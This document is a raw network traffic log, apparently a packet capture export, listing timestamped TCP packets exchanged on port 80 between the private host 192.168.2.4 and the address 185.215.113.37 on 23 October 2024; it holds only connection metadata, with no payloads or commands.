Oct 23, 2024 15:48:19.410033941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410059929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410065889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410090923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410099983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410132885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410159111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410166025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410192013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410198927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410226107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410233974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410259962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410267115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410301924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410331011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410336971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410363913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410372019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410404921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410406113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410433054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410438061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410465956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410471916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410495996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410506010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410537958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410562992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410571098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410598993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410605907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410641909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410643101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410674095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410674095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410706997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410734892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410738945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410765886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410774946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410799980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410806894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410834074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410840988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410873890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410902977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410906076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410932064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410939932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410964012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.410973072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.410999060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411005974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411039114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411067009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411072016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411106110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411130905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411134958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411166906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411192894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411200047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411233902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411263943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411267996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411298990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411303997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411331892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411360025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411393881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411395073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411426067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411431074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411465883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411498070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411499023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411535025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411566019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411570072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411602020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411633968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411636114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411668062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411701918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411701918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411727905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411735058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411792994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411797047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411829948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411860943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411864042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411895990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411899090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411930084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411932945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411967993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.411971092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.411998987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412002087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412034988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412065029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412070990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412158966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412163973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412194014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412200928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412233114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412234068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412270069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412302017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412307024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412337065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412341118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412373066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412378073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412410021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412412882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412444115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412448883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412483931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412516117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412517071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412547112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412550926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412585020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412610054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412610054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412641048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412672997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412674904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412708998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412741899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412743092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412770987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412775993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412794113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412806034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412811041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412827969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412838936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412844896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412849903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412859917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412873030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412873030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412884951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412894011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412897110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412909031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412919998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412931919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412935972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412942886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412955046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412965059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412966013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.412976980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412987947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412998915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.412998915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.413011074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413022995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413028955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.413036108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413047075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413055897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.413058043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413070917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413078070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.413083076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.413089037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.413196087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.599140882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.604645967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.880943060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.880958080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.880976915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.880987883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.880999088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881011009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881022930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881033897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881040096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881045103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881051064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881053925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881067038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881078959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881093979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881117105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881123066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881123066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881125927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881136894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881150961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881160021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881228924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881242037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881252050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881262064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881278038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881292105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881303072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881304979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881304979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881324053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881335020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881346941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881362915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881372929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881376028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881421089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881484032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881525040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881534100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881586075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881587982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881587982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881622076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881633043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881642103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881700039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881700039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881778955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881779909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881824970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881835938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881880999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881884098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881884098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.881892920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881903887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881915092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.881920099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882006884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882025003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882035017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882046938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882056952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882066965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882075071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882086039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882086992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882174969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882209063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882226944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882249117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882258892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882278919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882304907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882316113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882323980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882375956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882375956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882388115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882399082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882410049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882419109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882456064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882456064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882488966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882498980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882509947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882520914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882534027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882559061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882647991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882666111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882683992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882700920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882714987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882714987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882719994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882759094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882766008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882777929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882803917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882816076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882831097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882848024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882865906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882874966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882894039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882910967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882927895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882936954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882936954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.882946014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882961988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882977962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.882992983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883006096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883006096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883019924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883038998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883055925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883059978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883075953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883091927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883094072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883111954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883130074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.883151054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883167028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.883357048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884072065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884098053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884115934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884133101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884150028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884167910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884181023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884181023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884181023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884206057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884206057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884216070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884232044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884273052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884274006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884293079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884311914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884321928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884321928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884349108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884368896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884426117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884485960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884510994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884530067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884546995 CEST	80	49730	185.215.113.37	192.168.2.4
